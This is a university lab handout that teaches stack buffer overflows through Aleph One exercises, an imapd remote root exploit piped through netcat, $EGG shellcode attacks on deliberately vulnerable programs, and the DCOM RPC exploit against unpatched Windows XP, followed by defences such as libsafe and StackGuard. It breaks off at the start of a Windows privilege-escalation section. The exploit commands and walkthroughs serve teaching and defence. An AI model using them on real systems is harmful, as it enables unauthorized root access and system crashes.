1

ECE4112 Internetwork Security Lab 6: Buffer Overflows

Date Issued: February 21, 2012 Due Date: March 1, 2012

Lab Goal This lab will introduce you to the memory stack used in computer processes and demonstrate how to overflow memory buffers in order to exploit application security flaws. You will then execute several buffer overflow attacks against your Linux and Windows XP machines in order to gain root or administrative access using application vulnerabilities. Pre-Lab The following readings are a must to understand this lab and complete it in a timely manner. 1. Carefully read the entire article Smashing the Stack for fun and profit by Aleph One (Appendix A). It is essential that you have a thorough understanding of this article before you attempt these attacks, and although the author’s computer system differs from ours, it will be useful as a reference during the lab. Note: Correction to the Aleph One paper – For example3.c (the 9th page of Smashing the Stack) , Aleph One says, “We can see that when calling function() the RET will be 0x8004a8. The next instruction we want to execute is the one at 0x8004b2. A little math tells us the distance is 8 bytes.” The number should be 10 bytes instead of 8 bytes. 2. Read the article Secure programmer: Countering buffer overflows Preventing today's top vulnerability David Wheeler (dwheelerNOSPAM@dwheeler.com), Research Staff Member, Institute for Defense Analyses 27 Jan 2004 at: http://www-128.ibm.com/developerworks/linux/library/l-sp4.html and answer the question: PLQ1: According to the article, what are the common problems with C/C++ which allow buffer overflows? 3. For this prelab section, you will need to use a computer that has Internet access and a Java-enabled browser. a. Go to the website: http://nsfsecurity.pr.erau.edu/bom/ b. Scroll down to the middle of the page. c. We will be using the online demos of buffer overflow. d. Read the section on “How to use the Demo applets” before beginning. e. Complete the first 4 demos below (7 total), in the order listed. Be sure to use the “step” feature and always read the helpful text in the lower left. The read-only areas in memory (top-right) have been color coded with the C functions. You will see that the stack is also

2

color coded as it starts growing (lower right) – be sure you understand the stack manipulation before and after function calls. Note: When asked for input, type in a long string and watch it erase data in the stack memory. Background Although computer programs are frequently written in English-based user-friendly languages such as C, they must be compiled to an assembly language built for the machine on which they will be executed. The assembly language has far fewer commands than C, and these commands are much less varying in structure and less obvious semantically. Commands are stored in memory so that each is referenced by its location in memory rather than its line number in the code. Commands are executed sequentially, and functions are executed by jumping to a particular memory location, continuing sequential execution, and jumping back at the end of the function. An assembly language tutorial describing the conversion from C code to x86 assembly can be found at: http://linuxgazette.net/issue94/ramankutty.html When a computer process is executed, it gains access to a portion of the computer’s memory system. In the lower set of addresses of the allocated memory, the compiled assembly instruction set is placed so that the computer can execute these instructions directly from memory. This part of memory is generally flagged as read-only, and attempting to modify it results in a segmentation fault. Segmentation faults can occur for other reasons as well, such as if an invalid instruction is executed. At a higher portion of addresses, variables are allocated and stored. Whenever a process saves some data to memory (e.g. int a=4), they are placed in this region. Finally, the highest portion of addresses contains the memory stack. The stack helps coordinate the hierarchical execution of functions within applications. When a function is called, a variable known as the frame pointer is pushed onto the stack, which references the memory locations of variables local to the function. Next, since a function is executed by a jump from a different location in memory, a return address is pushed onto the stack so that the computer knows where in memory to return once the function has been completed. Finally, when a function is passed variables (e.g. myfunc(a,b,c)) these variables are also placed on the stack. Theoretically, stack manipulation should be accomplished entirely by the process, which allocates and sets pointers and variables at appropriate stages of execution, such as function calls. The key to buffer overflow attacks is to maliciously manipulate the data in the stack. By changing the return pointer, for example, it is possible for the process to jump to a memory location containing user data rather than the correct location in the instruction set. If the user data is crafted to include malicious assembly commands, such as a backdoor, these will be executed.

3

Finally, we’ll be taking a look at heap-overflows. Although heap overflows can be exploited just as easily as stack overflows, they’re much less known. System administrators often implement patches and precautions to prevent stack overflows but leave the heaps completely open to attacks! Although we won’t be doing any exercises in the lab about heap overflows, more information about it has been included as an appendix (Appendix B). Lab Scenario For most of the lab, you will be using only your Red Hat 7.2 host machine. You will need to use your Redhat 7.2 Copy virtual machine for remote buffer overflow attacks and you will use your Windows XP virtual machine in an exercise to see how contemporary attacks compromise windows systems. Section I – Experimentation with “Smashing the Stack for fun and profit” by Aleph One Connect to Network Attached Storage, and copy the file Lab6/stacksmash.tgz to your Red Hat 7.2 machine. Decompress it with the command: tar zxvf stacksmash.tgz Enter the stacksmash directory, and type make to compile. To recompile during the rest of this section, follow the instructions specific to the exercise or simply type make again.

Exercise 1: The Stack Region

Source file: example1.c

For this section, the make file has compiled the source to assembly code using the command: gcc –S –o example1.s example1.c

Open the original c file and the assembly (.s) file in text editors and observe how the assembly code maps to the c source. The assembly code will be slightly different than what appears in the paper, because Aleph One’s computer is different from ours. 1) Draw a diagram of the process memory at the time that function is called.

Exercise 2: Buffer Overflows

Source file: example2.c The make file has compiled our second example using the command gcc –o example2 example2.c

Observe the source code then execute the binary by typing ./example2 2) What are your results? Why?

4

Exercise 3: Return Pointer Redirection

Source file: example 3.c Observe the source file. This exploit attempts first to create a pointer (ret) to the function return address, then modify the return address value (*ret). At the end of the function call, the function will return to an incorrect address. The purpose of this exercise is to attempt to redirect the pointer and skip the “x=1” line, so that the example prints “0.”

Read the paper carefully and try to understand how the exploit works. Use the following commands to view the assembly code for the example: gdb example3 disassemble main

Observe the assembly code memory addresses to determine the correct change of the return address value in order to skip the x=1 line. Modify the line of the code (*ret) += 8; appropriately. Next, modify the return variable pointer line of the code ret = buffer1 +12; appropriately. The location of the return address pointer in memory cannot be calculated explicitly, because it is dependent on your memory stack. You must therefore use trial and error to determine the offset between buffer1 and the return pointer. As a guide, remember that the offset must be at least the size of buffer1 and the frame pointer, and that although the offset is in bytes, it must be an integral number of words. 3) Record the necessary code changes.

Exercise 4: Creating a Shell Source file: shellcode.c Shellcode.c executes a shell within its process, which we can then use to execute other system commands. Observe the source file. Type the following: gcc –o shellcode –ggdb –static shellcode.c gdb shellcode disassemble main disassemble__execve

Make sure you have a clear understanding of the assembly code, using the paper as a guide.

5

We are going to use this code to execute a shell from a victim program. First, however, we want to make sure that after our shell code is executed our process quits. Otherwise, if we were executing our code from inside data memory, the computer could continue to execute data in memory, causing a core dump or segmentation fault. We should view the assembly translation of the exit command so that we can use this to stop the execution of our shell code after the __execve call. This can be done by observing exit.c.

gcc –o exit –ggdb –static exit.c gdb exit disassemble _exit In this case, the exit function is operating by pushing 0x1 to %eax and the exit code (%edx) to %ebx. Now, we must add a hex representation of the binary code to our program’s data memory so that we can execute the binary code at runtime. First, let’s observe the assembly code for our task. In separate windows, open the disassembled shellcode, the disassembled exit, and the source file shellcodeasm.c. Notice that the essential components of shellcode and exit have been placed into shellcodeasm. We have changed our error code to a static zero. Type: gcc –o shellcodeasm –g –ggdb –static shellcodeasm.c gdb shellcodeasm disassemble main

to view your code.

Our intentions are now to copy these assembly commands into memory so that we can have a process execute them. To do this, you must see the binary machine code representations of the assembly code. Type x/bx main to see the representation of the first line. For any other line (e.g. main+3) simply include the offset (e.g. x/bx main+3).

We can now test our shell code by placing this machine code in data memory and executing it. Observe testsc.c. The machine code values determined from x/bx above have been placed in the character array shellcode. We then change the return pointer to point to the beginning of this array so that the data is executed. gcc –o testsc testsc.c ./testsc After running this, you should have access to the shell prompt $ exit

6

This exploit worked, but because we are storing it as an array of characters, the null character (\x00) in our string could potentially cause problems. To solve this problem, we rewrite the assembly code to remove all null bytes (shellcodeasm2.c). Using the same process as above, we then extract the machine code once again, this time without any null characters for our string. gcc –o shellcodeasm2 –g –ggdb shellcodeasm2.c gdb shellcodeasm2 gcc –o testsc2 testsc2.c ./testsc2 You should now have a shell

$ exit

4) Explain why it was important to make this change to eliminate NULL characters. 5) How did we modify the assembly code to remove null characters? (What simple ways did we avoid using 0x00?)

Exercise 5: Writing an Exploit

Source file: exploit1.c Observe the source code for this exercise. As in the previous case, we have copied the machine code to execute a shell to the data memory. Next, we repeatedly copy the memory address of this code, overflowing the memory stack and overwriting the return address to our buffer location. gcc –o exploit1 exploit1.c ./exploit1 You should now have a shell

$ exit In all of the previous examples, we have created our shell by manipulating the source code. When executing a buffer overflow attack, however, the hacker does not have access to the source code itself. We will now try to execute an attack on the program vulnerable.c.

The program vulnerable can be exploited using the buffer overflows seen above. Look at the source code for this file. You can see that this application is vulnerable because it copies an input value, of arbitrary length and at the discretion of the user, to memory without any bound check. The buffer is only 512 bytes long, so the user can overflow this buffer by setting more than 512 bytes and manipulating other values, such as the return pointer. exploit2 is an attempt to gain access to a shell with root privileges by running vulnerable. The exploit will create a buffer of data that includes the binary shell code, and then contain a pointer value written many times, one of which will

7

hopefully overwrite the return pointer. The pointer value will hopefully contain the location of the beginning of the buffer, so that the shell code will then be executed. exploit2 will store this to an environment variable ($EGG) which we will then pass as input to our vulnerable program. Unfortunately, unlike in our previous examples, we do not know exactly where in memory vulernable will place our buffer. We therefore must manually set the address we wish to place into the return pointer by entering an offset: our guess as the distance from the stack pointer to our malicious code. We also must determine a size of a buffer to create to attempt to overwrite the return pointer. The buffer size created by exploit2 must be large enough to overflow the return pointer, but small enough to avoid a segmentation fault. Using the instructions below and your knowledge of buffers, attempt to use exploit2 to create a shell. If you do not receive a shell or you receive an error message, you have failed and should attempt a different buffer size and offset. If you are not successful after ten tries, 6) record your attempted values and why you chose them, and continue with the lab. You will not lose credit for not succeeding in this exploit as long as you justify your choices for buffer sizes and offsets. ./exploit2 [buffersize][offset] ./vulnerable $EGG exit (if you succeeded in creating a shell) exit (to leave a shell that exploit2 has spawned) You may have realized that it is fairly hard to guess the correct exact offset to execute the shell code. The next variation includes a string of NOP instructions to simplify redirection. Observe the file exploit3.c. Rather than placing our shell code at the beginning of our buffer, we now fill the first half of the buffer with NOPs, or instructions that have no effect, and start our shell code halfway through the buffer. Modify your buffer size and offset, repeating until your exploit succeeds. ./exploit3 [buffersize][offset] ./vulnerable $EGG exit (if you succeeded in creating a shell) exit (to leave a shell that exploit3 has spawned)

7) Record your successful exploit3 offset and 8) Explain why this exploit was easier than exploit2.

8

Now that you have exploited vulnerable.c, re-open the file and observe where exactly the buffer overflow has taken place. Add/change the code in the file to remove the vulnerability, then re-run “./vulnerable $EGG” 9) What changes did you make to vulnerable.c? Sections II – A Real World Exploit imapd is a mail server program released by the University of Washington. This is a beta version that is vulnerable to buffer overflows. An exploit on imap is particularly dangerous because the daemon can be run as root, therefore anyone who compromises the application has root access to the entire system. The following links give more information about this exploit.

- CERT Advisory CA-1997-09 and CA-1998-09 http://www.cert.org/advisories/CA-1997-09.html http://www.cert.org/advisories/CA-1998-09.html

- Imapd http://www.washington.edu/imap

Running imapd exploit on the same machine as the imapd server:

Open RedHat 7.2 which will be used for this exploit. Connect to the Network Attached Storage and copy Lab6/imapd_exploit.tgz to your local machine. Extract the file by typing:

tar zxvf imapd_exploit.tgz then enter the directory by typing

cd imapd_exploit View the network services currently running by typing

nmap localhost Imap should not be running at this time. Install imapd and netcat by typing

make make install make restart

Rerun nmap to make sure that imap2 is now running on the machine. Note the port on which imap2 is running.

9

The exploit code needs netcat (/usr/sbin/nc, installed above) and cat in combination to perform the buffer overflow. Netcat is the swiss army knife of the Internet, and has many functions including the ability to send streams of data to a destination. The exploit code makes use of a string of 942 NOP instructions and allows the user to input an offset from which to attempt the attack. To run the exploit, execute the following command: (./imapd-ex offset; cat) | nc server port server is the server to be attacked, or in this case localhost. port is the port number to be attacked, and is the port of imap2. offset is the offset from which to attempt the attack. Keep in mind the 942 NOP instructions. A sample offset given by Xinzhou is 3000. After running the exploit, type ls . If you receive a list of files, you have successfully exploited imap2!

Running imapd exploit from a remote machine:

Copy the imapd-ex file created in the above step to your Red Hat 7.2 Copy machine, or recopy the tar file from NAS and recompile. Execute imapd-ex from the RedHat 7.2 Copy and use your Red Hat 7.2 IP address instead of localhost. Again type ls to view files on your Virtual Machine without logging in. Try typing other commands, such as /sbin/ifconfig, /usr/sbin/adduser, and whoami to see the privileges you have gained through the exploit. If a hacker were able to gain root privileges, he or she would have complete control over the victim. Record the successful offset used and the privileges gained

Section III – Common Vulnerabilities Introduction: In order to further experiment with buffer overflows and their effects, four programs have been created with specific types of vulnerabilities. Copy the file Lab6/Vulnerable.tgz to your Red Hat 7.2 machine and then extract the file. The tarred file will extract to the “lab” directory. We employ the last exploit program from Section I to attack the vulnerable programs. Type make to compile the programs: adjacent, cmdline, input, and remote. The Aleph One exploit has also been included, and has been entitled exploit. Buffer Overrun:

10

Before getting into the more detailed stack smashing attacks we will show a simple buffer overrun vulnerability. The source file adjacent.c (compiles to adjacent) has two adjacent buffers, storeddata and userinput, both 16 characters (or bytes) long. If you read the source file, you will notice that both buffers have their contents unconditionally set to zero. Occasionally you may encounter a dirty stack frame and your buffers will not be completely empty. The string function bzero( buffer_pointer, buffer_length) is used to clear out a buffer. The program will print out the contents of the two buffers to show you what is in them. The buffer storeddata will always contain the string "abcdefghijkl" . In the source file you will notice an explicit null character, '\0', is added to the end of the string. Without a terminating null character, most string functions will not stop at the end of the string's buffer. This is a critical piece of information. A buffer overrun occurs when a string function reads past the end of a string (or character) buffer. In this example, you will see that the program does not allow the user to input more data into storedata than the size of the array, 16. Logically it is correct. Now lets try out the "adjacent" program.

1. Enter a string of some length less than 16 (not including the newline or carriage return) by typing

./adjacent and then at the prompt enter your own string. The final print statement will show you the proper length and contents of the each buffer on the screen. Note this works just as you expect.

2. Enter a string of length exactly 16 (not including the newline or carraige return)

In the final print statement, you will notice that inputbuffer is now 28 characters long. storeddata remains the same length and its contents are untouched. How can inputbuffer have 28 characters in it, it is only allowed 16?

3. enter a string of length greater than 16 (not including the newline or carriage

return) In the final print statement you will notice that inputbuffer is again 28 characters long and storeddata is untouched.

11) What is the cause of this behavior? 12) Modify adjacent.c to remove this “undesired” behavior. What were your code modifications? The Exploit Program: This program is similar to the final exploit of Section 1, but has been reformatted for legibility with comments added to it.

11

In Section 1, we used the exploit program to overflow a relatively large buffer, so we were able to copy all of the shell code to this buffer and then copy the return address afterwards to the return pointer. The exploit program does not work very well on small buffers, because the NOP sled or shellcode itself would overwrite the return instruction pointer. In order to target a small buffer you should instead start with the memory locations, followed by the NOP sled leading into the shellcode. Open the include file stackinfo.h, which contains a simple macro called SHOW_STACK and a function called inspect_buffer. The two combine to provide users with information about the original saved return instruction pointer and let one see if the return instruction pointer will redirect to somewhere in the NOP sled. SHOW_STACK prints:

• The value of the Stack pointer register • The value of Frame pointer register and the value that the Frame pointer register

points to (which is the saved frame pointer of the previous stack) • The memory location of the saved return pointer and the memory location that the

saved return pointer points to. Example: Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507] The function inspect_buffer takes as input the buffer containing attack code. If you don't run exploit before this function is called, you are very likely to crash the example programs because they search for the environment variable called EGG. inspect_buffer will report back to the user what memory locations contain NOPS so as to help us find if the return instruction pointer points to somewhere in the NOP sled. This may not be the case if we have not over written the return instruction pointer or have not put our buffer into the stack at a good point. Here is some sample output from inspect_buffer: Targetting range bffff775 to bffff88e [280 byte range] Stack Overwrite from bffff8c1 to bffff9d5 [280 byte range] bffff88e <= bffff898 < bffff775? 281 <= 291 < 0

The line Targetting range <lower address> to <high address> [<byte range>] reports the lower and upper memory address of the NOP sled and the range of bytes that it spans. Now we know where the NOPS are located. The line Stack Overwrite from <lower address> to <high address> [<byte range>] shows the range of address that the memory redirection address overwrites. Now we know where the desired return address values are written. We want one of these locations

12

to be the stack return address memory so that when the stack goes to the return address memory location, it will get a value the hacker wants it to use instead of the good original value that was in that memory location. The line Upper Address<= Target < Lower Address? Upper bound <= Target < 0 shows the upper and lower memory address for the NOP sled. The NOP sled high memory location is on the left, the return address that the exploit program has identified for us to use and overwrite with is in the middle, and the right hand value is the lower memory address that contains NOPS. We want the middle value to be in between the other two values. (Note that we actually want the less than signs reversed: upper address should be larger than target should be larger than lower address) If that is the case then the return instruction value points into the NOP sled as desired by the hacker. The part after the question mark has the lower address subtracted from both values to give you an idea if your return address value is within this desired range. One condition for this whole thing to work is that the return address must point to our NOP sled. A second condition that must also be met is that the return address must have been overwritten with that value. To see if we did in fact overwrite the return address we use the values from show_stack both before and after the exploit program and the actual buffer overflow have occurred. If the value of the return instruction memory location is the same both before and after, we have failed to overwrite. We need to either change the buffer size we are writing into the stack or the offset where the buffer is written into the stack. As an example of a failure: =========================== Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507] Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc [40046507] =========================== As an example of a success: =========================== Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507] Stack:bffff400, Frame:bffff608[bffffa78], Next Instruction:bffff60c[bffffa78] ===========================

Task 1: Use a buffer overflow to exploit command line vulnerabilities Cmdline is very similar to the first program we observed, vulnerable. A value of arbitrary size from the command line is copied to a buffer which is only 512 bytes. Cmdline differs in that it displays a significant amount of extra information about the stack at runtime. Because the program includes new functions and function calls, the results will not be identical to that of vulnerable. The functions will, however, give extra data that will aid in the analytical selection of buffer sizes and offsets, rather than simply using trial and error.

13

Example of exploiting cmdline: Observe a sample run of cmdline using the default buffer size and offset.

[root@fred lab]# ./exploit Using address: 0xbffffa88 [root@fred lab]# ./cmdline $EGG Inspect environment variables Targetting range bffffc95 to bffffd7c [230 byte range] Stack Overwrite from bffffdad to bffffe91 [232 byte range] bffffd7c <= bffffa88 < bffffc95? 231 <= -525 < 0 Inspect argument variables Targetting range bffff83d to bffff924 [230 byte range] Stack Overwrite from bffff955 to bffffa39 [232 byte range] bffff924 <= bffffa88 < bffff83d? 231 <= 587 < 0 =========================== Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507] Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507] =========================== Inspect stack variables Targetting range bffff4c0 to bffff5a7 [230 byte range] Stack Overwrite from bffff5d8 to bffff6bc [232 byte range] bffff5a7 <= bffffa88 < bffff4c0? 231 <= 1480 < 0 [root@fred lab]# exit

This did not result in the shell we desired. Let’s observe why. In the output, the value 0xbffffa88 is the target for the NOP sled. Next we see some information about the memory contents.

The ENV part of the stack contains our environment variable, $EGG.

Inspect environment variables Targetting range bffffc95 to bffffd7c [230 byte range] Stack Overwrite from bffffdad to bffffe91 [232 byte range] bffffd7c <= bffffa88 < bffffc95? 231 <= -525 < 0

NOPS have been found in the address range of bffffc95 to bffffd7c

We are not overwriting the stack in this part, so ignore the second line. The third line tells us that the place where the NOP sled was found (which is in $EGG) is –525 locations away from the local stack pointer. Since this is the environment part of the stack we do not really care where the NOP sled is in the environment part of the stack, we just wanted the program to put it in there somewhere so we can copy it later. The next part of the example output is from the ARGV part of the stack, to which we have copied $EGG. Inspect argument variables Targetting range bffff83d to bffff924 [230 byte range] Stack Overwrite from bffff955 to bffffa39 [232 byte range] bffff924 <= bffffa88 < bffff83d? 231 <= 587 < 0

Here we see the location of the copy of $EGG’s NOP slide.

14

The last line tells us that the target address bffffa88 does not fall within the NOP sled that is in the argument part of the stack. The output now shows us =========================== Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507] Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507] ===========================

The important values here are the contents of the next instruction pointers. The next instruction which is contained in memory location bffff6cc has the value of [40046507] both before and after our copy. The next instruction has not changed, therefore we have not successfully overwritten the next instruction pointer. The output now shows us some information from the Stack “part of the stack.” Inspect stack variables Targetting range bffff4c0 to bffff5a7 [230 byte range] Stack Overwrite from bffff5d8 to bffff6bc [232 byte range] bffff5a7 <= bffffa88 < bffff4c0? 231 <= 1480 < 0

We have overwritten our return address in the stack from bffff5d8 to bffff6bc, but we know from above that we did not change the return address pointer, so it is not in this range. The return address we have written, bffffa88, is outside of our NOP sled, bffff4c0 to bffff5a7. We have two problems at the moment with the values we are using in the exploit program. First, we did not overwrite the return instruction value. Second, the address we overwrote many times would not place us on our NOP slide. Let’s first try to fix the first problem of not overwriting the next instruction pointer value. We do this by adding an argument to use a buffer size of 612 instead of the default 512. (After all the buffer we are trying to overflow is 512 bytes in size). Now we try again by doing the commands

./exploit 612 ./cmdline $EGG [root@fred lab]# ./exploit 612 Using address: 0xbffffa78 [root@fred lab]# ./cmdline $EGG …. Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507] Stack:bffff400, Frame:bffff608[bffffa78], Next Instruction:bffff60c[bffffa78] =========================== Inspect stack variables Targetting range bffff400 to bffff519 [280 byte range] Stack Overwrite from bffff54c to bffff660 [280 byte range] bffff519 <= bffffa78 < bffff400? 281 <= 1656 < 0

Once again we did not get the shell we wanted . We did get a segmentation fault and noticed that the next instruction changed, so we successfully overwrote the instruction pointer. Unfortunately what we overwrote did not point to our NOP sled.

15

We can see from the last line that we have missed were we want to be by about 1500 and thus need to re-run the “./exploit” with an offset to move where we start writing our NOP sled. Now we try again by doing the commands

./exploit 612 1500 ./cmdline $EGG =========================== Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507] Stack:bffff400, Frame:bffff608[bffff48c], Next Instruction:bffff60c[bffff48c] =========================== Inspect stack variables Targetting range bffff400 to bffff519 [280 byte range] Stack Overwrite from bffff54c to bffff660 [280 byte range] bffff519 <= bffff48c < bffff400? 281 <= 140 < 0

Note we did get the shell we were after. Do this exercise yourself, identifying a correct buffer size and offset. If the exploit runs properly, you should have access to the shell. You will not have a prompt but you will be able to do commands like ls. Typing exit will get you out of the shell and back to prompt. A second exit will get rid of the exploit process that is running Copy your output to a text file using cut and paste and turn in the successful output proving you were able to create a shell with this overflow. 13) Modify cmdline.c to remove this vulnerability. What changes did you make? Task 2: Use buffer overflow to exploit user input vulnerabilities Observe the source code for input.c. This program, similar to adjacent, allows a user to input a set of text. You can use the exploit program to send the $EGG environment variable to input with the command: ./exploit [buffersize][offset] (echo $EGG;cat) | ./input If this exploit runs properly, you should have access to the shell at the end.

Example: [root@fred lab]# ./exploit 512 900 Using address: 0xbffff6e4 [root@fred lab]# (echo $EGG;cat) | ./input Inspect environment variables Targetting range bffffc99 to bffffd80 [230 byte range] Stack Overwrite from bffffdb1 to bffffe95 [232 byte range] bffffd80 <= bffff6e4 < bffffc99? 231 <= -1461 < 0 Stack:bffff6d0, Frame:bffff8d8[bffff918], Next Instruction:bffff8dc[40046507] please input a 16 character string: Inspect stack variables Targetting range bffff6d0 to bffff7b7 [230 byte range] Stack Overwrite from bffff7e8 to bffff8cc [232 byte range] bffff7b7 <= bffff6e4 < bffff6d0? 231 <= 20 < 0

16

Stack:bffff6d0, Frame:bffff8d8[bffff918], Next Instruction:bffff8dc[40046507]

Notice we did not overwrite the next instruction pointer since its value did not change before and after. Thus we need to increase the buffer size from 512 to something larger so as to overwrite it. Note however, we were successful in the exploit choice of a return address pointing to inside the NOP sled.

14) Record the buffer size and offset used to successfully exploit input. Task 3: Use buffer overflow to exploit network vulnerabilities Observe the source code for remote.c. In this application, the function gets causes information sent over the network to the application’s listening port to be copied to memory. We will use netcat to send our malicious $EGG input. Open a terminal and run:

./remote 4200 (4200 is the port on which that the remote server will be running) In a second terminal run: ./exploit [buffersize] [offset] (echo $EGG;cat) | nc localhost 4200 If this exploit runs properly, you should have access to the shell at the end (not necessarily with a prompt). You may have to change the buffer size and the offset values in the exploit call. 15) Record your successful buffer size and offset values. Copy your output to a text file using cut and paste and turn in the output and the output of a successful run of whoami from the exploited shell prompt. Section IV – A Contemporary Vulnerability Buffer overflow vulnerabilities are extremely common in modern computing. In the final section, we will observe a vulnerability that exists in Windows 2000 Service Packs 0-4 and Windows XP Service Packs 0-1. The vulnerability was eventually patched in August, 2003. The vulnerability makes use of the Windows DCOM RPC service, which is run automatically with Administrator privileges on both TCP and UDP port 135. The service is designed to allow computers to request services from each other. However, it does no size checking on the input buffer.

17

Connect to Network Attached Storage, and copy the file Lab6/dcom.c to your Red Hat 7.2 machine. Compile dcom with: gcc –o dcom dcom.c Now run ./dcom to see your command line options. Your target will be your Windows XP Machine. It is currently not running any service packs (SP0). Run the exploit, and if you receive a command prompt execute several commands such as dir and cd. Copy your results to a text file and include it with your report. After you exit, this exploit will cause Windows XP to crash. 16) Take a screenshot of your crashing system and include it with your report. (Note: depending on the status of your Windows XP system, it is possible that this vulnerability will cause XP to crash immediately. If so, allow it to reboot and try again). For a very long time, this exploit could be used to install a backdoor and/or crash any Windows 2000 or Windows XP machine remotely. 17) What steps could a system administrator take to prevent this problem? Section V – Libsafe – A Stack Buffer Overflow Preventive Measure Probably at this point, you might be thinking that the only way to prevent such stack buffer overflow attacks from happening is to just pray that the original developer properly checked his buffers in his code. Considering that in reality this is usually not the case, the idea of preventing buffer overflow exploits from happening seems hopeless. Well, actually, that is not true. There are preventive measures that are available and being developed now. Traditionally, preventive measures on Linux have come in the form of kernel patches. These patches usually monitor system calls in the operating system and try to stop unusual or suspicious system calls made by potentially malicious code. In this case, one will have to recompile the kernel properly with the patch and hope it works out. For the purposes of this lab, it would seem unreasonable to make a copy of a kernel and wait for a long time to recompile the kernel just to see a buffer overflow exploit prevented. Instead, we will use another type of preventive measure. We are going to install libsafe, a dynamically loadable library that does not require any recompilation. Connect to the Network Attached Storage, and copy the rpm package libsafe-2.0-16.i386.rpm from the Lab6 folder to your Red Hat 7.2 machine. Now install the package by opening a terminal window and typing the following command:

18

• rpm -ivh libsafe-2.0-16.i386.rpm There should be no problems installing this package. Now we are going to use Mozilla to take a look at the html man page on libsafe. Click on the main menu button on the bottom panel in the bottom left corner (the red fedora hat) and then highlight “Internet” and then select “Web Browser.” This should bring up the web browser Mozilla. Now click on Mozilla’s File menu and select “Open File.” Now type in /usr/doc/libsafe-2.0/doc/ in the “File Name” text box and hit enter. You should see a file called libsafe.8.html, double-click it to open the file. The libsafe man page should look like what is in Figure 1, and now take the time to read it. (It is quite short.)

Figure 1. The html libsafe man page.

This is the basic lesson you should get out of the man page. Libsafe is a library that protects against stack buffer overflow exploits by intercepting all function calls made to library functions that are known to be vulnerable (such as strcpy, which we have exploited in this lab). It executes a substitute version and checks to see if a buffer overflow will occur within the current stack frame. If the buffer overflow will overwrite the return address with a value that will direct execution of the program outside the current process stack frame, then most likely a stack buffer overflow attack is being executed, and libsafe will stop it. If you have been paying attention to what has been going on in the lab, this is exactly the type of exploit we have been executing.

19

(If you are interested in a more detailed explanation of how libsafe works, it is recommended that you go Avaya’s Lab Research website at http://pubs.research.avayalabs.com/pdfs/ALR-2001-018-whpaper.pdf So let’s see libsafe prevent such an exploit. In your terminal window, go back to the directory where your exploit and cmdline programs are that you have executed previously in this lab. Go ahead and run the exploit and the cmdline programs again like you did previously in Section III – Task 1. Remember, however, to undo the changes you made to the code. If you don’t, there will be no vulnerability for Libsafe to guard. Libsafe should have stopped the exploit from being executed, and the output on your terminal should look similar to Figure 2. 18) Copy this output to a text file and turn it in with your lab.

Figure 2. Libsafe preventing a stack buffer overflow exploit in cmdline.

Libsafe apparently detected our attempt to write across the stack boundary which is what we needed to do to rewrite cmdline’s return address in order to start executing our malicious code. You should notice also that it determined that the overflow was caused with the library function strcpy, which is at the center of our exploit. This is pretty nifty. However, consider some of the pros and cons of this strategy. Libsafe concentrates monitoring on a system-wide level through the library space, not the kernel or user space of the operating system. This is nice in the sense that this solution does not require recompilation of the kernel or directly interfering with programs that a user is trying to run. However, libsafe can only determine exploits that use the list of library functions that it knows have vulnerabilities to stack buffer overflows. If the attacker is able to create a

[root@group24-4893 lab]# ./exploit 612 100 Using address: 0xbffff6c4 [root@group24-4893 lab]# ./cmdline $EGG Inspect environment variables Targetting range bffff970 to bffffa89 [280 byte range] Stack Overwrite from bffffabc to bffffbd0 [280 byte range] bffffa89 <= bffff6c4 < bffff970? 281 <= -684 < 0 Inspect argument variables Targetting range bffff674 to bffff78d [280 byte range] Stack Overwrite from bffff7c0 to bffff8d4 [280 byte range] bffff78d <= bffff6c4 < bffff674? 281 <= 80 < 0 =========================== Stack:bffff300, Frame:bffff508[bffff528], Next Instruction:bffff50c[420158d4] Libsafe version 2.0.16 Detected an attempt to write across stack boundary. Terminating /home/tools/lab/cmdline. uid=0 euid=0 pid=2362 Call stack: 0x40015871 /lib/libsafe.so.2.0.16 0x4001597a /lib/libsafe.so.2.0.16 0x8048834 /home/tools/lab/cmdline 0x420158cf /lib/i686/libc-2.2.93.so Overflow caused by strcpy() Killed [root@group24-4893 lab]#

20

stack buffer overflow exploit without using libsafe’s list of vulnerable library functions, it is possible that the libsafe will never detect the exploit and the attack has a good chance of succeeding. Therefore, while libsafe is a nice solution that can easily implemented, it still does not replace the real prevention of buffer overflow attacks, which is properly checking buffers in the code of programs. That is all. Remember to copy the libsafe output to a text file, and turn it in with your lab. Also, go ahead and uninstall the libsafe library by executing the following command:

• rpm -e libsafe There are other utilities available which can be used for preventing buffer overflows. One such utility is Stackguard (http://www.usenix.org/publications/library/proceedings/sec98/full_papers/cowan/cowan.pdf) which protects your programs from buffer overflows by compiling them with compilers which take special action to protect the stack during run time. You compile your program using these compilers and depending on the programs implementation will protect the stack from stack-smashing attacks. Stackguard inserts an extra field on the stack called a “canary” next to the return pointer on the stack. It uses the canary to determine if the return pointer has been changed; if the canary is changed then the stack has been compromised and the program will stop execution. Another such tool is called the Stack Shield, which adds protection from stack overflows without changing the code. It causes the program to copy the RET address to an unoverflowable location on function beginnings and checks it with the RET address before the function returns. If the two values are different, the program crashes. Stack Shield is an assembler file processor and relies on the GCC/G++ front ends to automate compilation. It can be downloaded from http://www.angelfire.com/sk/stackshield/ There are numerous tools to find flaws in code today. One of these tools is Flawfinder. Flawfinder analyzes C/C++ source files and warns of any potential problems in the code. When run on a source file flawfinder will show any gets, printf, strcpy commands and others that might cause vulnerabilities in the code. One nice feature of flawfinder is that the code need not be compiled to test it. http://www.dwheeler.com/flawfinder/flawfinder-1.26.tar.gz Section VI - Obtaining Administrator Privileges on Windows using a Buffer Overflow Attack If an attacker has a “Limited” account on: * Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4 * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2 * Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium) * Microsoft Windows XP 64-Bit Edition Version 